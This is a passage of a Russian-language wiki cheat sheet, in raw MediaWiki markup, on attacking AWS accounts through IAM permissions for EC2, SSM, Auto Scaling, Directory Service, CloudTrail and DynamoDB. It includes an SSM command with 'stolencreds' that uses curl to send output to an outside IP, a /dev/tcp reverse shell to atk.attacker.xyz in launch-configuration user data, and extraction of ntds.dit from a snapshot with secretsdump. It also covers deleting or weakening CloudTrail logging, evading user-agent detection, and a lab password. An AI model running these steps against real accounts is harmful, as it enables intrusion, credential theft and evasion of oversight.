==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
